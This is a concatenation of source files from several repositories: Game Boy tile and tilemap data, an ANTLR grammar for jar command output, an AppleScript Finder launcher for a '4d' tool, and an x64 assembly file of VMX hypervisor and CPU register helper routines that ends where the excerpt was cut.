DB $F8, $F8, $F8, $F8, $F8, $F8, $FF, $FF, $FF, $FF, $F8, $F8, $F8, $F8, $F8, $F8
DB $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $00, $00 ; 29
DB $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $00, $00 ; 2B
DB $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00, $00, $00, $00, $00 ; 2D
DB $3F, $3F, $3F, $3F, $1F, $1F, $FF, $FF, $FF, $FF, $1F, $1F, $1F, $1F, $1F, $1F
DB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FB, $FB, $E3, $E3, $C3, $C3, $83, $83
;Line 8
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $F8, $F8, $F8, $F8, $38, $38, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 33
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 35
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00 ; 37
DB $1E, $1E, $1C, $1C, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $18
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
;Line 9
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $00, $00, $80, $80, $C0, $C0, $E0, $E0, $78, $78, $1C, $1C, $0F, $0F, $07, $07
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $1F, $1F, $1F, $1F, $83, $83
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $00, $00
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $07, $07
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF, $FF, $FF
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $FF, $FF ; 40
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $FF, $FF, $FF, $FF, $FF, $FF
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $80, $80
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $FF, $FF, $FF, $FF, $03, $03
DB $18, $18, $18, $18, $18, $18, $18, $18, $18, $18, $F8, $F8, $FB, $FB, $07, $07
DB $03, $03, $07, $07, $0F, $0F, $1F, $1F, $7B, $7B, $E3, $E3, $C3, $C3, $83, $83 ; 5B
; Line 10
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $01, $01, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $C3, $C3, $F3, $F3, $3B, $3B, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $C0, $C0, $E0, $E0, $78, $78
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $FF, $FF, $FF, $FF, $7F, $7F, $1F, $1F, $0F, $0F, $07, $07, $01, $01, $00, $00
DB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
DB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FE, $FE, $FC, $FC
DB $FF, $FF, $FF, $FF, $FB, $FB, $E3, $E3, $C3, $C3, $83, $83, $03, $03, $03, $03
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $0F, $0F, $1F, $1F, $7B, $7B
DB $0E, $0E, $3C, $3C, $70, $70, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00
DB $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03 ; 68
; Line 11
DB $3F, $3F, $1F, $1F, $07, $07, $03, $03, $03, $03, $03, $03, $03, $03, $03, $03
DB $F0, $F0, $E0, $E0, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00
;--------------------------------------------------------------
Cube1TilesEnd::
;--------------------------------------------------------------
;--------------------------------------------------------------
Cube0Tilemap::
;--------------------------------------------------------------
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $01, $02, $03, $04, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $05, $06, $07, $08, $09, $0A, $0B, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $0C, $0D, $0E, $0F, $10, $11, $12, $13, $14, $15, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $16, $17, $18, $19, $1A, $1B, $1C, $1D, $1E, $1F, $20, $21, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $22, $23, $24, $25, $26, $27, $28, $29, $2A, $2B, $2C, $2D, $2E, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $2F, $30, $31, $32, $33, $34, $35, $36, $37, $38, $39, $3A, $3B, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $3C, $3D, $3E, $3F, $40, $41, $42, $43, $44, $45, $46, $47, $48, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $49, $4A, $4B, $4C, $4D, $4E, $4F, $50, $51, $52, $53, $54, $55, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $56, $57, $58, $59, $5A, $5B, $5C, $5D, $5E, $5F, $60, $61, $62, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $63, $64, $65, $66, $67, $68, $69, $6A, $6B, $6C, $6D, $6E, $6F, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $80, $81, $82, $83, $84, $85, $70, $71, $86, $87, $88, $89, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $95, $96, $97, $98, $99, $9A, $9B, $9C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $9D, $9E, $9F, $A0, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $A1, $A2, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
;--------------------------------------------------------------
Cube0TilemapEnd::
;--------------------------------------------------------------
;--------------------------------------------------------------
Cube1Tilemap::
;--------------------------------------------------------------
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $01, $02, $02, $03, $04, $04, $05, $06, $06, $07, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $08, $09, $09, $0A, $0B, $0B, $0C, $0D, $0D, $0E, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $0F, $10, $10, $11, $12, $12, $13, $14, $14, $15, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $16, $17, $17, $18, $19, $19, $1A, $1B, $1B, $1C, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $1D, $1E, $1F, $1F, $20, $21, $21, $22, $23, $23, $24, $25, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $26, $27, $28, $29, $29, $2A, $2B, $2B, $2C, $2D, $2D, $2E, $2F, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $30, $31, $32, $33, $33, $34, $35, $35, $36, $37, $37, $38, $39, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $3A, $3B, $3C, $3D, $3E, $3F, $40, $40, $41, $42, $43, $44, $45, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $46, $47, $48, $49, $4A, $4B, $4C, $4D, $4E, $4F, $50, $51, $52, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $D0, $D1, $D2, $D3, $D4, $D5, $53, $54, $D6, $D7, $D8, $D9, $DA, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $DB, $DC, $DD, $DE, $DF, $E0, $E1, $E2, $E3, $E4, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $E5, $E6, $E7, $E8, $E9, $EA, $EB, $EC, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $ED, $EE, $EF, $F0, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
DB $00, $00, $00, $00, $00, $00, $00, $00, $00, $F1, $F2, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
;--------------------------------------------------------------
Cube1TilemapEnd::
;--------------------------------------------------------------
|
subprojects/docs/exemplar-kit/src/testFixtures/antlr/JarCommandOutput.g4 | crici/gradle-native | 40 | 5214 | grammar JarCommandOutput;
output: entry+;
entry: Newline? path;
path: RelativePath;
fragment PATH_SEPARATOR: '/';
fragment LOWERCASE: [a-z];
fragment UPPERCASE: [A-Z];
fragment DIGIT: [0-9];
PathElement: (LOWERCASE | UPPERCASE | DIGIT | '_' | '.' | '-' | '$')+;
RelativePath: (PathElement PATH_SEPARATOR)+ PathElement?;
Newline: ('\n' | '\r\n' | '\f') -> skip;
|
openin4d.pext/command.scpt | mesopelagique/OpenWith4D | 1 | 4582 | set finderPathQuoted to ""
tell application "Finder"
set theItems to (get selection)
if not theItems = {} then
repeat with itemRef in theItems
set finderFolder to (itemRef as string)
end repeat
else
try
set finderFolder to (folder of the front window as alias)
on error
set finderFolder to (path to home folder as alias)
end try
end if
set finderPath to POSIX path of finderFolder
set finderPathQuoted to quote & finderPath & quote
end tell
do shell script "/usr/local/bin/4d " & finderPathQuoted |
Projects/Daat/AMD64/OPSAMD64.asm | fengjixuchui/Daat | 1 | 169053 | <reponame>fengjixuchui/Daat<gh_stars>1-10
;
;
; Copyright (c) 2018 by blindtiger. All rights reserved.
;
; The contents of this file are subject to the Mozilla Public License Version
; 2.0 (the "License"); you may not use this file except in compliance with
; the License. You may obtain a copy of the License at
; http://www.mozilla.org/MPL/
;
; Software distributed under the License is distributed on an "AS IS" basis,
; WITHOUT WARRANTY OF ANY KIND, either express or implied. SEe the License
; for the specific language governing rights and limitations under the
; License.
;
; The Initial Developer of the Original e is blindtiger.
;
;
include ksamd64.inc
include macamd64.inc
__vmx_entry PROTO Registers : PTR
__vm_exit_dispatch PROTO Registers : PTR
RfP1Home EQU 00000h
RfP2Home EQU 00008h
RfP3Home EQU 00010h
RfP4Home EQU 00018h
RfP5Home EQU 00020h
RfP6Home EQU 00028h
RfReg EQU 00030h
RfRax EQU 00030h
RfEax EQU 00030h
RfAx EQU 00030h
RfAl EQU 00030h
RfAh EQU 00031h
RfRcx EQU 00038h
RfEcx EQU 00038h
RfCx EQU 00038h
RfCl EQU 00038h
RfCh EQU 00039h
RfRdx EQU 00040h
RfEdx EQU 00040h
RfDx EQU 00040h
RfDl EQU 00040h
RfDh EQU 00041h
RfRbx EQU 00048h
RfEbx EQU 00048h
RfBx EQU 00048h
RfBl EQU 00048h
RfBh EQU 00049h
RfRsp EQU 00050h
RfEsp EQU 00050h
RfSp EQU 00050h
RfStackPointer EQU 00050h
RfRbp EQU 00058h
RfEbp EQU 00058h
RfBp EQU 00058h
RfRsi EQU 00060h
RfEsi EQU 00060h
RfSi EQU 00060h
RfRdi EQU 00068h
RfEdi EQU 00068h
RfDi EQU 00068h
RfR8 EQU 00070h
RfR8d EQU 00070h
RfR9 EQU 00078h
RfR9d EQU 00078h
RfR10 EQU 00080h
RfR10d EQU 00080h
RfR11 EQU 00088h
RfR11d EQU 00088h
RfR12 EQU 00090h
RfR12d EQU 00090h
RfR13 EQU 00098h
RfR13d EQU 00098h
RfR14 EQU 000a0h
RfR14d EQU 000a0h
RfR15 EQU 000a8h
RfR15d EQU 000a8h
RfRip EQU 000b0h
RfProgramCounter EQU 000b0h
RfEFlags EQU 000b8h
RfXmm0 EQU 000c0h
RfXmm1 EQU 000d0h
RfXmm2 EQU 000e0h
RfXmm3 EQU 000f0h
RfXmm4 EQU 00100h
RfXmm5 EQU 00110h
RfXmm6 EQU 00120h
RfXmm7 EQU 00130h
RfXmm8 EQU 00140h
RfXmm9 EQU 00150h
RfXmm10 EQU 00160h
RfXmm11 EQU 00170h
RfXmm12 EQU 00180h
RfXmm13 EQU 00190h
RfXmm14 EQU 001a0h
RfXmm15 EQU 001b0h
RfMxCsr EQU 001c0h
RfDr EQU 001c8h
RfDr0 EQU 001c8h
RfDr1 EQU 001d0h
RfDr2 EQU 001d8h
RfDr3 EQU 001e0h
RfDr6 EQU 001f8h
RfDr7 EQU 00200h
RfSegEs EQU 00208h
RfSegCs EQU 0020ah
RfSegSs EQU 0020ch
RfSegDs EQU 0020eh
RfSegFs EQU 00210h
RfSegGs EQU 00212h
RfLdtr EQU 00214h
RfTr EQU 00216h
RfGdtr EQU 0021eh
RfIdtr EQU 0022eh
RfCr EQU 00238h
RfCr0 EQU 00238h
RfCr2 EQU 00248h
RfCr3 EQU 00250h
RfCr4 EQU 00258h
RfCr8 EQU 00278h
REGISTERS_FRAME_LENGTH EQU 00280h
; ULONG
; NTAPI
; __ops_sldt(
; __in PUSHORT Selector
; );
LEAF_ENTRY __ops_sldt, _TEXT$00
sldt word ptr [rcx]
ret
LEAF_END __ops_sldt, _TEXT$00
; ULONG
; NTAPI
; __ops_str(
; __in PUSHORT Selector
; );
LEAF_ENTRY __ops_str, _TEXT$00
str word ptr [rcx]
ret
LEAF_END __ops_str, _TEXT$00
; ULONG
; NTAPI
; __ops_sgdt(
; __in PUSHORT Limit
; );
LEAF_ENTRY __ops_sgdt, _TEXT$00
sgdt fword ptr [rcx] ; &Descriptor->Limit
ret
LEAF_END __ops_sgdt, _TEXT$00
; ULONG
; NTAPI
; __ops_sidt(
; __in PUSHORT Limit
; );
LEAF_ENTRY __ops_sidt, _TEXT$00
sidt fword ptr [rcx] ; &Descriptor->Limit
ret
LEAF_END __ops_sidt, _TEXT$00
; ULONG
; NTAPI
; __ops_segment_limit(
; __in ULONG Selector
; );
LEAF_ENTRY __ops_segment_limit, _TEXT$00
mov eax, ecx
lsl eax, eax
ret
LEAF_END __ops_segment_limit, _TEXT$00
; ULONG
; NTAPI
; __ops_segment_ar(
; __in ULONG Selector
; );
LEAF_ENTRY __ops_segment_ar, _TEXT$00
mov eax, ecx
lar eax, eax
shr eax, 8
and eax, 0f0ffh
test eax, eax
jnz @f
mov eax, 10000h
@@ :
ret
LEAF_END __ops_segment_ar, _TEXT$00
; ULONG64
; NTAPI
; __ops_readmsr(
; __in ULONG Register
; );
LEAF_ENTRY __ops_readmsr, _TEXT$00
rdmsr
shl rdx, 20h
or rax, rdx
ret
LEAF_END __ops_readmsr, _TEXT$00
; VOID
; NTAPI
; __ops_writemsr(
; __in ULONG Register,
; __in ULONG64 Value
; );
LEAF_ENTRY __ops_writemsr, _TEXT$00
mov eax, edx
shr rdx, 20h
wrmsr
ret
LEAF_END __ops_writemsr, _TEXT$00
; SIZE_T
; NTAPI
; __ops_readcr(
; __in ULONG Register
; );
LEAF_ENTRY __ops_readcr, _TEXT$00
test ecx, ecx
jnz @f
mov rax, cr0
jmp __ops_readcr_ret
@@ :
cmp ecx, 2
jnz @f
mov rax, cr2
jmp __ops_readcr_ret
@@ :
cmp ecx, 3
jnz @f
mov rax, cr3
jmp __ops_readcr_ret
@@ :
cmp ecx, 4
jnz @f
mov rax, cr4
jmp __ops_readcr_ret
@@ :
cmp ecx, 8
jnz __ops_readcr_ret
mov rax, cr8
__ops_readcr_ret :
ret
LEAF_END __ops_readcr, _TEXT$00
; VOID
; NTAPI
; __ops_writecr(
; __in ULONG Register,
; __in SIZE_T Value
; );
LEAF_ENTRY __ops_writecr, _TEXT$00
test ecx, ecx
jnz @f
mov cr0, rdx
jmp __ops_writecr_ret
@@ :
cmp ecx, 2
jnz @f
mov cr2, rdx
jmp __ops_writecr_ret
@@ :
cmp ecx, 3
jnz @f
mov cr3, rdx
jmp __ops_writecr_ret
@@ :
cmp ecx, 4
jnz @f
mov cr4, rdx
jmp __ops_writecr_ret
@@ :
cmp ecx, 8
jnz __ops_writecr_ret
mov cr8, rdx
__ops_writecr_ret :
ret
LEAF_END __ops_writecr, _TEXT$00
; SIZE_T
; NTAPI
; __ops_readdr(
; __in ULONG Register
; );
LEAF_ENTRY __ops_readdr, _TEXT$00
test ecx, ecx
jnz @f
mov rax, dr0
jmp __ops_readdr_ret
@@ :
cmp ecx, 1
jnz @f
mov rax, dr1
jmp __ops_readdr_ret
@@ :
cmp ecx, 2
jnz @f
mov rax, dr2
jmp __ops_readdr_ret
@@ :
cmp ecx, 3
jnz @f
mov rax, dr3
jmp __ops_readdr_ret
@@ :
cmp ecx, 6
jnz @f
mov rax, dr6
jmp __ops_readdr_ret
@@ :
cmp ecx, 7
jnz __ops_readdr_ret
mov rax, dr7
__ops_readdr_ret :
ret
LEAF_END __ops_readdr, _TEXT$00
; VOID
; NTAPI
; __ops_writedr(
; __in ULONG Register,
; __in SIZE_T Value
; );
LEAF_ENTRY __ops_writedr, _TEXT$00
test ecx, ecx
jnz @f
mov dr0, rdx
jmp __ops_writedr_ret
@@ :
cmp ecx, 1
jnz @f
mov dr1, rdx
jmp __ops_writedr_ret
@@ :
cmp ecx, 2
jnz @f
mov dr2, rdx
jmp __ops_writedr_ret
@@ :
cmp ecx, 3
jnz @f
mov dr3, rdx
jmp __ops_writedr_ret
@@ :
cmp ecx, 6
jnz @f
mov dr6, rdx
jmp __ops_writedr_ret
@@ :
cmp ecx, 7
jnz __ops_writedr_ret
mov dr7, rdx
__ops_writedr_ret :
ret
LEAF_END __ops_writedr, _TEXT$00
; VMX_RESULT
; NTAPI
; __ops_invept(
; __in ULONG Type,
; __in PINVEPT_DESCRIPTOR Descriptor
; );
LEAF_ENTRY __ops_invept, _TEXT$00
db 066h, 00fh, 038h, 080h, 00ah ; invept ecx, xmmword ptr [rdx]
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __ops_invept, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_on(
; __in ULONG64 * VmsSupportPhysicalAddress
; );
LEAF_ENTRY __vmx_on, _TEXT$00
db 0f3h, 00fh, 0c7h, 031h ; vmxon qword ptr [rcx]
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_on, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_off(
; VOID
; );
LEAF_ENTRY __vmx_off, _TEXT$00
db 00fh, 001h, 0c4h ; vmxoff
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_off, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmclear(
; __in ULONG64 * VmcsPhysicalAddress
; );
LEAF_ENTRY __vmx_vmclear, _TEXT$00
db 066h, 00fh, 0c7h, 031h ; vmclear qword ptr [rcx]
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmclear, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmptrld(
; __in ULONG64 * VmcsPhysicalAddress
; );
LEAF_ENTRY __vmx_vmptrld, _TEXT$00
db 00fh, 0c7h, 031h ; vmptrld qword ptr [rcx]
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmptrld, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmptrst(
; __in ULONG64 * VmcsPhysicalAddress
; );
LEAF_ENTRY __vmx_vmptrst, _TEXT$00
db 00fh, 0c7h, 039h ; vmptrst qword ptr [rcx]
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmptrst, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmread(
; __in SIZE_T Field,
; __out SIZE_T * Value
; );
LEAF_ENTRY __vmx_vmread, _TEXT$00
xor rax, rax
db 00fh, 078h, 0c8h ; vmread rax, rcx
mov [rdx], rax
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmread, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmwrite(
; __in SIZE_T Field,
; __in SIZE_T Value
; );
LEAF_ENTRY __vmx_vmwrite, _TEXT$00
db 00fh, 079h, 0cah ; vmwrite rcx, rdx
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmwrite, _TEXT$00
;VMX_RESULT
; NTAPI
; __vmx_vmlaunch(
; VOID
; );
LEAF_ENTRY __vmx_vmlaunch, _TEXT$00
db 00fh, 001h, 0c2h ; vmlaunch
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmlaunch, _TEXT$00
; VMX_RESULT
; NTAPI
; __vmx_vmresume(
; VOID
; );
LEAF_ENTRY __vmx_vmresume, _TEXT$00
db 00fh, 001h, 0c3h ; vmresume
setz al
setb cl
adc al, cl
and rax, 3
ret
LEAF_END __vmx_vmresume, _TEXT$00
; VOID
; NTAPI
; __vmx_vmentry(
; VOID
; );
LEAF_ENTRY __vmx_vmentry, _TEXT$00
mov RfRax [rsp], rax
mov RfRcx [rsp], rcx
mov RfRdx [rsp], rdx
mov RfRbx [rsp], rbx
mov RfRsp [rsp], rsp
mov RfRbp [rsp], rbp
mov RfRsi [rsp], rsi
mov RfRdi [rsp], rdi
mov RfR8 [rsp], r8
mov RfR9 [rsp], r9
mov RfR10 [rsp], r10
mov RfR11 [rsp], r11
mov RfR12 [rsp], r12
mov RfR13 [rsp], r13
mov RfR14 [rsp], r14
mov RfR15 [rsp], r15
lea rcx, [rsp]
pushfq
pop RfEFlags [rcx]
movdqa RfXmm0 [rcx], xmm0
movdqa RfXmm1 [rcx], xmm1
movdqa RfXmm2 [rcx], xmm2
movdqa RfXmm3 [rcx], xmm3
movdqa RfXmm4 [rcx], xmm4
movdqa RfXmm5 [rcx], xmm5
movdqa RfXmm6 [rcx], xmm6
movdqa RfXmm7 [rcx], xmm7
movdqa RfXmm8 [rcx], xmm8
movdqa RfXmm9 [rcx], xmm9
movdqa RfXmm10 [rcx], xmm10
movdqa RfXmm11 [rcx], xmm11
movdqa RfXmm12 [rcx], xmm12
movdqa RfXmm13 [rcx], xmm13
movdqa RfXmm14 [rcx], xmm14
movdqa RfXmm15 [rcx], xmm15
stmxcsr RfMxCsr [rcx]
lea rax, __vmx_vmresume
mov RfRip [rcx], rax
call __vm_exit_dispatch
LEAF_END __vmx_vmentry, _TEXT$00
; NTSTATUS
; NTAPI
; __vmx_start(
; __in PREGISTERS_FRAME Registers
; );
LEAF_ENTRY __vmx_start, _TEXT$00
sub rsp, (KSTART_FRAME_LENGTH - 8)
pushfq
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
call CaptureRegisters
mov RfRsp [rcx], rsp
lea rax, resume
mov RfRip [rcx], rax
call __vmx_entry
mov rax, -1
resume :
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
popfq
add rsp, (KSTART_FRAME_LENGTH - 8)
ret
LEAF_END __vmx_start, _TEXT$00
; VOID
; NTAPI
; __ops_cpuid(
; __in LONG Function,
; __in LONG SubFunction,
; __out PCPUINFO CpuInfo
; );
NESTED_ENTRY __ops_cpuid, _TEXT$00
rex_push_reg rbx
END_PROLOGUE
mov eax, ecx
mov ecx, edx
cpuid
mov [r8], eax
mov [r8 + 4], ebx
mov [r8 + 8], ecx
mov [r8 + 0ch], edx
pop rbx
ret
NESTED_END __ops_cpuid, _TEXT$00
; VOID
; NTAPI
; __ops_invd(
; VOID
; );
LEAF_ENTRY __ops_invd, _TEXT$00
invd
ret
LEAF_END __ops_invd, _TEXT$00
; ULONG64
; NTAPI
; __ops_rdtsc(
; VOID
; );
LEAF_ENTRY __ops_rdtsc, _TEXT$00
rdtsc
shl rdx, 20h
or rax, rdx
ret
LEAF_END __ops_rdtsc, _TEXT$00
; ULONG64
; NTAPI
; __ops_rdtscp(
; __out PULONG Aux
; );
LEAF_ENTRY __ops_rdtscp, _TEXT$00
mov r8, rcx
db 00fh, 001h, 0f9h ; rdtscp
mov [r8], rcx
shl rdx, 20h
or rax, rdx
ret
LEAF_END __ops_rdtscp, _TEXT$00
; VOID
; NTAPI
; __ops_xsetbv(
; __in ULONG Xcr,
; __in ULONG64 Value
; );
LEAF_ENTRY __ops_xsetbv, _TEXT$00
mov eax, edx
shr rdx, 20h
db 00fh, 001h, 0d1h ; xsetbv
ret
LEAF_END __ops_xsetbv, _TEXT$00
; VOID
; NTAPI
; ReadCpuFeature(
; __in PCPU_FEATURE Feature
; );
NESTED_ENTRY ReadCpuFeature, _TEXT$00
rex_push_reg rbx
END_PROLOGUE
mov r8, rcx
mov eax, 1
xor ecx, ecx
cpuid
mov [r8], ecx
mov [r8 + 4], edx
mov eax, 7
xor ecx, ecx
cpuid
mov [r8 + 8], ebx
mov [r8 + 0ch], ecx
mov eax, 80000001h
xor ecx, ecx
cpuid
mov [r8 + 10h], ecx
mov [r8 + 14h], edx
pop rbx
ret
NESTED_END ReadCpuFeature, _TEXT$00
; VOID
; NTAPI
; CaptureRegisters(
; __out PREGISTERS_FRAME Registers
; );
LEAF_ENTRY CaptureRegisters, _TEXT$00
mov RfSegEs [rcx], es
mov RfSegCs [rcx], cs
mov RfSegSs [rcx], ss
mov RfSegDs [rcx], ds
mov RfSegFs [rcx], fs
mov RfSegGs [rcx], gs
mov RfRax [rcx], rax
mov RfRcx [rcx], rcx
mov RfRdx [rcx], rdx
mov RfRbx [rcx], rbx
mov RfRsp [rcx], rsp
mov RfRbp [rcx], rbp
mov RfRsi [rcx], rsi
mov RfRdi [rcx], rdi
mov RfR8 [rcx], r8
mov RfR9 [rcx], r9
mov RfR10 [rcx], r10
mov RfR11 [rcx], r11
mov RfR12 [rcx], r12
mov RfR13 [rcx], r13
mov RfR14 [rcx], r14
mov RfR15 [rcx], r15
mov rax, [rsp]
mov RfRip [rcx], rax
pushfq
pop RfEFlags [rcx]
movdqa RfXmm0 [rcx], xmm0
movdqa RfXmm1 [rcx], xmm1
movdqa RfXmm2 [rcx], xmm2
movdqa RfXmm3 [rcx], xmm3
movdqa RfXmm4 [rcx], xmm4
movdqa RfXmm5 [rcx], xmm5
movdqa RfXmm6 [rcx], xmm6
movdqa RfXmm7 [rcx], xmm7
movdqa RfXmm8 [rcx], xmm8
movdqa RfXmm9 [rcx], xmm9
movdqa RfXmm10 [rcx], xmm10
movdqa RfXmm11 [rcx], xmm11
movdqa RfXmm12 [rcx], xmm12
